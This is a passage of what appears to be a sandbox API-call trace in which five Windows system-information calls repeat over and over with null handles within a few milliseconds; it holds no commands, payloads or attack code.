lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.775] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.775] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.775] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.775] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.775] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.776] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.776] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.776] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.776] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.776] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.777] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.777] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.777] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.777] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.777] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.778] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.778] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.778] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.778] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.778] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.778] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.778] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.778] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.778] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.778] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.778] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.778] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.778] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.778] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.778] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.778] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.778] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.778] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.778] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.778] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.778] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.779] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.779] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.779] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.779] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.779] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.779] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.779] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.779] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.779] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.780] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.780] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.780] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.780] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.780] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.781] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.781] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.781] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.781] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.781] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.781] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.781] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.781] GetThreadSelectorEntry (in: 